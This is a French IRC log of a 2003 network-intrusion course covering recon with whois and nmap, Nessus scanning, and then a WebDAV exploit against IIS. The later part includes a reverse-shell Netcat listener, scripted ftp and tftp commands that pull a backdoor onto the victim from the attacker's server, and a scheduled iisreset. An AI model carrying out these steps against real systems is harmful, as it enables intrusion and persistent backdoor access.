Session Start: Fri Jun 20 21:29:46 2003
*** Now talking in #netlessons
*** Topic is 'Bienvenue sur #netlessons, Deuxieme partie du cours sur les Intrusions réseau et la Sécurité Informatique :) '
*** Set by Karl on Fri Jun 20 20:11:16
-Netlessons-   8 - Join #question Pour LE chan Discute Sur Les COurs Come on..  
<GaLiaRePt> Donc comme l'a déjà dis Karl
<GaLiaRePt> Nous nous retrouvons ce soir pour une approche un peu plus pratique du cours que nous avions fait 
Karl et moi-même sur les Intrusions Réseau. <GaLiaRePt> Nous n'allons donc pas vous redire ce que nous vous avons déjà dit, mais simplement approfondir un
peu plus les différentes " phases " d'intrusion sur un réseau. <GaLiaRePt> 1ère Phase : Reconnaissance / Récupération d'informations <GaLiaRePt> Afin de pouvoir pénétrer un réseau, il faut avant tout le connaître. <GaLiaRePt> Tout d'abord, il nous faut identifier les sous réseaux appartenant à la cible. Pour ce faire, nous allons
utiliser la commande whois qui peut également être disponible " en ligne " sur les sites suivant : http://www.ripe.net,
http://www.nic.fr etc... <GaLiaRePt> Cet utilitaire va nous permettre de connaître les informations suivantes : adresse, numéro de téléphone,
adresse email, Nom, Prénom du responsable, mais également les adresses des serveurs DNS. <GaLiaRePt> Voici un exemple de Whois : <GaLiaRePt> Prenons donc l'exemple de www.free.fr dont l'adresse ip est : 213.228.0.42 <GaLiaRePt> Vous pouvez avoir le résultat suivant soit par la commande : <GaLiaRePt> # whois -h whois.ripe.net 213.228.0.42 <GaLiaRePt> http://www.security-corporation.com/cours/whois.html <GaLiaRePt> Soit grâce au site de ripe.net à l'adresse suivante : <GaLiaRePt> http://www.ripe.net/perl/whois?form_type=simple&full_query_string=&searchtext=213.228.0.42&do_search=Search <GaLiaRePt> Bref, nous n'allons pas nous attarder la dessus... <GaLiaRePt> Nous avons déjà récolté de nombreuses informations, cherchons maintenant à savoir quels sont les machines
enregistrés sous ce nom de domaine et sous quels systèmes elles fonctionnent. <GaLiaRePt> Pour ce faire, j'utilise le site Internet NetCraft.net et ainsi j'obtiens les informations
suivante : http://uptime.netcraft.com/up/graph/?host=www.free.fr <GaLiaRePt> Nous pouvons donc voir que le site www.free.fr est hébergé par 10 serveurs différents lesquels sont sur des
systèmes Unix et plus précisément Debian. <GaLiaRePt> Voila nous disposons de nombreuses informations afin de mener une attaque. Bien entendu, lors de ce cours,
je ne vais pas vous montrer comment " attaquer " un site Internet, je vais simplement essayer de vous expliquer comment
il est possible de réaliser une intrusion sur un réseau. <GaLiaRePt> Nous allons donc scanner un réseau (ici mon réseau local) avec le logiciel Nmap disponible à l'adresse
suivante : http://www.insecure.org/nmap/ <GaLiaRePt> Tout d'abord, je vais faire un bref rappels des fonctions utiles de Nmap, ce qui permettra aux plus débutants
d'entre vous de ne pas être perdu :-) <GaLiaRePt> Voici tout d'abord la syntaxe à utiliser : <GaLiaRePt> Syntaxe : nmap [Type(s) de scan] [Options] <hôte ou réseau #1 ... #n> <GaLiaRePt> L'outils Nmap supporte un grand nombre de technique de scan (TCP connect(), TCP <GaLiaRePt> SYN/FIN, FTP bounce, attack et fragmentation...) Je vais ici vous exposer les syntaxes les plus importantes : <GaLiaRePt> Syntaxe : -sT Scan de port par TCP connect(), méthode par défaut. <GaLiaRePt> Syntaxe : -sS Scan de port TCP SYN furtif <GaLiaRePt> Syntaxe : -sU Scan de port UDP <GaLiaRePt> Syntaxe : -sP Ping scanning <GaLiaRePt> Syntaxe : -b <ftp relay host> FTP bounce attack <GaLiaRePt> Exemples: <GaLiaRePt> Nous voulons scanner l'adresse IP 192.168.0.1 : <GaLiaRePt> # nmap -v 192.168.0.1 <GaLiaRePt> Nous voulons scanner un ensemble d'IP comprise entre 192.168.0.1 et <GaLiaRePt> 192.168.0.254 : <GaLiaRePt> #nmap -v 192.168.0.1-254 <GaLiaRePt> Nous voulons que le scan nous permettes de détecter si les ports compris entre <GaLiaRePt> 10 et 1000 sont ouverts sur la machine 192.168.0.1 : <GaLiaRePt> #nmap -v -p 10-1000 192.168.0.1 <GaLiaRePt> Je pense que vous avez bien compris le fonctionnement de Nmap à ce niveau. (enfin j'espère... ;-)) <GaLiaRePt> Comme vous l'avez vu dans la syntaxe de Nmap, il existe des options pour ce logiciel, je ne vais pas vous
faire un cours sur Nmap (je me le réserve pour une prochaine fois) mais je tiens quand même à vous détailler l'option -O
que nous allons utiliser tout au long de ce cours. <GaLiaRePt> L'option -O permet de d'identifier l'OS de la machine par l'intermédiaire de son <GaLiaRePt> "Empreinte" TCP/IP. <GaLiaRePt> Exemple : Nous voulons connaître l'OS en cours sur la machine 192.168.0.1 <GaLiaRePt> #nmap -v -O 192.168.0.1 <GaLiaRePt> Remote operating system guess: Linux Kernel 2.4.0 - 2.4.17 (X86) <GaLiaRePt> Nous voulons en plus de ceci, enregistrer les informations dans un fichier nommé scan.log : <GaLiaRePt> #nmap -v -O -oN scan.log 192.168.0.1 <GaLiaRePt> Voila je pense que vous avez compris les "bases" de Nmap... <GaLiaRePt> Voici maintenant un exemple un peu plus concret. <GaLiaRePt> Comme je l'ai dis précédemment, nous allons scanner un réseau. <GaLiaRePt> Voici la commande que nous allons utiliser : <GaLiaRePt> #nmap -sS -sU -O -oN scan.log 192.168.0.1-254 <GaLiaRePt> voyons maintenant le contenu du fichier scan.log après que le scan soit terminé <GaLiaRePt> # nmap (V. 2.54BETA31) scan initiated Fri Jun 20 02:26:39 2003 as:nmap -sS -sU -O -oN scan.log 192.168.0.1-254 <GaLiaRePt> Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port <GaLiaRePt> Insufficient responses for TCP sequencing (0), OS detection may be less accurate <GaLiaRePt> Interesting ports on (192.168.0.1): <GaLiaRePt> (The 3011 ports scanned but not shown below are in state: filtered) <GaLiaRePt> Port State Service <GaLiaRePt> 21/tcp open ftp <GaLiaRePt> 80/tcp open http <GaLiaRePt> Remote operating system guess: HP Advancestack Etherswitch 224T or 210 <GaLiaRePt> Interesting ports on (192.168.0.2): <GaLiaRePt> (The 3001 ports scanned but not shown below are in state: closed) <GaLiaRePt> Port State Service <GaLiaRePt> 9/udp open discard <GaLiaRePt> 21/tcp open ftp <GaLiaRePt> 135/tcp open loc-srv <GaLiaRePt> 135/udp open loc-srv <GaLiaRePt> 137/udp open netbios-ns <GaLiaRePt> 138/udp open netbios-dgm <GaLiaRePt> 139/tcp open netbios-ssn <GaLiaRePt> 445/tcp open microsoft-ds <GaLiaRePt> 445/udp open microsoft-ds <GaLiaRePt> 500/udp open isakmp <GaLiaRePt> 1025/tcp open listen <GaLiaRePt> 2002/tcp open globe <GaLiaRePt> Remote operating system guess: Windows 2000 Professional, Build 2183 (RC3) <GaLiaRePt> Interesting ports on (192.168.0.6): <GaLiaRePt> (The 3008 ports scanned but not shown below are in state: closed) <GaLiaRePt> Port State Service <GaLiaRePt> 79/tcp open finger <GaLiaRePt> 137/udp open netbios-ns <GaLiaRePt> 138/udp open netbios-dgm <GaLiaRePt> 139/tcp open netbios-ssn <GaLiaRePt> 631/tcp open cups <GaLiaRePt> Remote operating system guess: Linux Kernel 2.4.0 - 2.4.17 (X86) <GaLiaRePt> Nous pouvons donc voir ici, qu'il existe 3 machines sur ce réseau, l'une d'elles étant un HP
Advancestack Etherswitch 224T or 210. <GaLiaRePt> Nous voyons ensuite que ce réseau dispose de 2 machines l'une étant sous un système
Windows 2000 Professional, Build 2183 (RC3) et l'autre étant sous un système Linux Kernel 2.4.0 - 2.4.17 (X86)
(Ce linux étant un peu particulier (Lindows 3.0) Nmap a eut quelques difficultés à le reconnaître d'ou le message "Warning" du début) <GaLiaRePt> Une fois la récolte d'information supplémentaire terminée, il ne vous reste plus qu'à les exploiter. En effet,
vous avez pu voir que l'ensemble des ports ouverts sur ces machines pouvait comporter des "vulnérabilités". <GaLiaRePt> Par exemple, le port 80 (HTTP) ou encore le port 21(FTP) peuvent être facilement exploitable. Il est
également possible d'identifier des serveurs DNS (port 58) ou encore des serveurs mail (port 25). Bref, plus le nombre
de ports ouvert est important plus le risque de vulnérabilités sera important. <GaLiaRePt> Passe alors la phase d'identification des failles potentiels que dont je vous ai parlé lors du cours précédent.
Je ne vais pas revenir sur ce point. <GaLiaRePt> Cependant, nous allons vous montrer de façon un peu plus pratique comment le logiciel Nessus peut être
utile afin de "scanner" les vulnérabilités. En outre, vous doutez bien que ce type de logiciel n'est pas recommandé si
l'intrusion doit être faite dans la discrétion. <GaLiaRePt> 2ème Phase : Identification des failles potentiels <GaLiaRePt> (pause de 5 min) <GaLiaRePt> :) <GaLiaRePt> Je laisse alors la parole à mon collègue Karl pour la partie Nessus :) <Karl> Pour la reconnaissance des vulnérabilités sur un serveur nous allons voir le fonctionnement et l’utilisation
du très connu : <Karl> Scanner de sécurité NESSUS : <Karl> Vous pouvez le télécharger à l’adresse suivante suivez les instructions d’installation. <Karl> http://www.nessus.org <Karl> Le support de cours pour ce cette partie sera à l’adresse http://www.security-corporation.com/cours/nessus.html <Karl> Voyons maintenant son utilisation : <Karl> Une fois Nessus installé, il va falloir configurer les comptes et droits des utilisateurs pour ce scanner, ensuite
il faudra faire toute la configuration du client Nessus. <Karl> Commençons donc par les comptes utilisateurs : <Karl> Utilisez le script "nessus-adduser" dans le répertoire /usr/local/sbin pour la génération d'un nouveau
compte utilisateur. <Karl> L'utilisateur pourra alors se connecter à Nessus via ce compte. <Karl> Choisissez ensuite un login pour le nouveau compte. <Karl> Il faudra ensuite choisir la méthode d’enregistrement du mot de passe : <Karl> Choisissez le "plaintext" (texte pur, ndt) si le mot de passe doit être sauvegardé en clair. Choisissez "cipher"
(chiffré, ndt) si le mot de passe doit être sauvegardé encrypté. <Karl> L'administrateur du système peut assigner des privilèges pour permettre à l’utilisateur de se connecter sur une
partie du réseau et celles où il ne pourra pas. <Karl> Vous pouvez choisir simplement une seule machine en entrant une adresse IP ou un sous réseau, si vous ne
mettez rien l’option par défaut fait qu’il peut aller n’importe ou. <Karl> Ensuite l’utilisateur devra entrer à nouveau son mot de passe, les informations de privilèges seront une
nouvelles fois affichées et on demandera de confirmer les données. <Karl> Une fois ces données confirmées, l’utilisateur sera créé. <Karl> En bref c’est assez intuitif et facile. <Karl> Passons maintenant à la phase de configuration du client : <Karl> Vérifions le serveur : <Karl> Démarrons nessusd. Pour faire cela, nous devons nous connecter en tant que "root". La commande de
démarrage est nessus –D . <Karl> Pour vérifier le fonctionnement du serveur, utilisez la commande ps awux | grep nessusd . <Karl> Une fois que l’on est sur que le serveur est lancé et opérationnel nous pouvons passer à la configuration
du client : <Karl> Dans /usr/local/bin/nessus. Tapez la commande suivante & pour démarrer le client. <Karl> Grâce au symbole & le programme commence en tâche de fond. <Karl> L’utilisateur sera invité à se logger avec un login et un pass, une fois ceci fait et une fois connecté au
serveur, il sera invité a configurer le scan. <Karl> Il choisira les différents plugins qu’il veut vérifier (options pour la découverte de vulnérabilités). <Karl> Plugins <Karl> Les plugins sont le cœur de Nessus car ils contiennent un ensemble de scripts pour contrôler les
vulnérabilités dans un réseau, par exemple : backdoors, DOS, ports totalement ouverts, etc. Ces scripts sont
écrits dans un langage appelé NASL (Nessus Attack Scripting Language) et se trouvent dans /usr/local/lib/nessus/plugin.
L'utilisateur peut également développer ses propres scripts en étudiant ce langage sur la page www.nessus.org/doc/nasl.html. En <Karl> (Source : linuxfrench.net) <Karl> Ensuite il devra encore configurer quelques options pour le réglage précis des plugins, les options de balayage,
et puis bien sur la sélection de la cible. <Karl> Nous pouvons maintenant commencer le scan, tout est sur le serveur x donc pas de problème de compréhension
ni quoi que ce soit <Karl> Voilà le résultat d’un scan pour une machine précise veuillez regarder la figure 1 . <Karl> voila pour ce qui est de l'utilisation de Nessus <Karl> sachant qu'il nous a permis de découvrir les différentes vulnérabilités d'un serveur ou d'un réseau tout entier <Karl> Galia a toi :) <GaLiaRePt> ok :) <GaLiaRePt> donc ... <GaLiaRePt> Une fois que le pirate a dressé une " cartographie " des ressources et des machines présentes sur le
réseau, il est en mesure de préparer l'intrusion de celui-ci. <GaLiaRePt> 3ème Phase : Intrusion sur le système <GaLiaRePt> Lors du scan du réseau, le pirate a remarqué qu'une des machines du réseau possédait un serveur http
(port 80), et que cette machine avait pour système d'exploitation Windows 2000. <GaLiaRePt> Donc de forte chance pour que ce système tourne sous IIS et possède Webdav. <GaLiaRePt> Le pirate teste alors l'exploit. Il utilise alors le logiciel Netcat (voir Mr. Google en général il a tout ce qu'on veut..) <GaLiaRePt> Il met d'abord en écoute par exemple le port 53 avec Netcat de la manière suivante : <GaLiaRePt> # nc -Lvvp 53 <GaLiaRePt> Voir figure 1 : http://www.security-corporation.com/cours/webdav.html <GaLiaRePt> Et lance ensuite l'exploit (wb.exe - http://www.coromputer.net/files/dl.php?id=2 ) sur les différents
pads : 190 191 193 194 197 200, et un pad à la fois. <GaLiaRePt> # wb.exe [ip de la victime] [votre ip] 53 190 // par exemple <GaLiaRePt> Voir figure 2 : http://www.security-corporation.com/cours/webdav.html <GaLiaRePt> Si la possibilité d'attaque par Webdav ou autre exploit ne fonctionne pas il vous reste toujours la
possibilité d'une intrusion par brute force. Pour cela, il faut trouver des comptes valides sur le réseau (soit lors de
la phase de reconnaissance, soit également par brute force). <GaLiaRePt> Maintenant que le " pirate " dispose d'une machine sur le réseau, il va procéder à l'installation
d'une " backdoor " afin de compromettre le système. <GaLiaRePt> 4ème Phase : Compromission du système <GaLiaRePt> Plusieurs solutions sont possibles soit par ftp soit par tftp. <GaLiaRePt> Exemple par ftp : <GaLiaRePt> Placez sur un serveur FTP la backdoor. <GaLiaRePt> # echo bin > toto <GaLiaRePt> # echo get backdoor.exe >> toto <GaLiaRePt> # echo quit >> toto <GaLiaRePt> # ftp -A -s:toto [ip de votre ftp] <GaLiaRePt> # del toto <GaLiaRePt> (-A : Signifiant connexion en anonyme donc pour cette exemple, le serveur FTP dispose d'un accès " anonymous ") <GaLiaRePt> Exemple par tftp : <GaLiaRePt> # tftp -i [ip de votre tftp] GET backdoor.exe <GaLiaRePt> A ce moment, la backdoor est sur le serveur de la victime. Cependant, il est possible qu'un firewall
bloque la connexion au ftp ou tftp. <GaLiaRePt> Enfin le " pirate " va installer sa backdoor... <GaLiaRePt> Ensuite il va " rebooter " le serveur de la victime de la manière suivante : <GaLiaRePt> # time // + entrer deux fois <GaLiaRePt> #AT [l'heure] /NEXT: iisreset <GaLiaRePt> ctrl + c // afin de quitter le shell <GaLiaRePt> Il ne reste donc plus qu'a attendre que le serveur ISS redémarre à l'heure indiquée afin que
le " pirate " puisse en avoir l'accès total. <GaLiaRePt> Je tiens à remercier Decryptus de la Coromputer pour son aide lors de la réalisation de ce cours. <GaLiaRePt> Vous trouverez toutes les informations nécessaire au " patch " de votre serveur IIS aux adresses suivante : <GaLiaRePt> http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-007.asp <GaLiaRePt> http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en <GaLiaRePt> Conclusion : <GaLiaRePt> Comme vous pouvez le voir, il est préférable d'assurer la sécurité de son système par la connaissance
des différentes vulnérabilités mais également par le teste de ses failles. Un administrateur réseau doit donc
toujours être au courant des dernières vulnérabilités et " tools " que les " pirates " peuvent se procurer. C'est
donc en se mettant dans la " peau " du pirate qu'il arrivera à le contrer. <GaLiaRePt> Décharge : L'auteur ne peut être tenu pour responsable des dégâts résultants de la mauvaise utilisation
des connaissances et techniques décrites dans ce cours <Karl> Ainsi s'acheve <Karl> ce cours :) <GaLiaRePt> Greetz aux zamis de #reponse (lol jleur ai promis) :p *** Karl sets mode: -m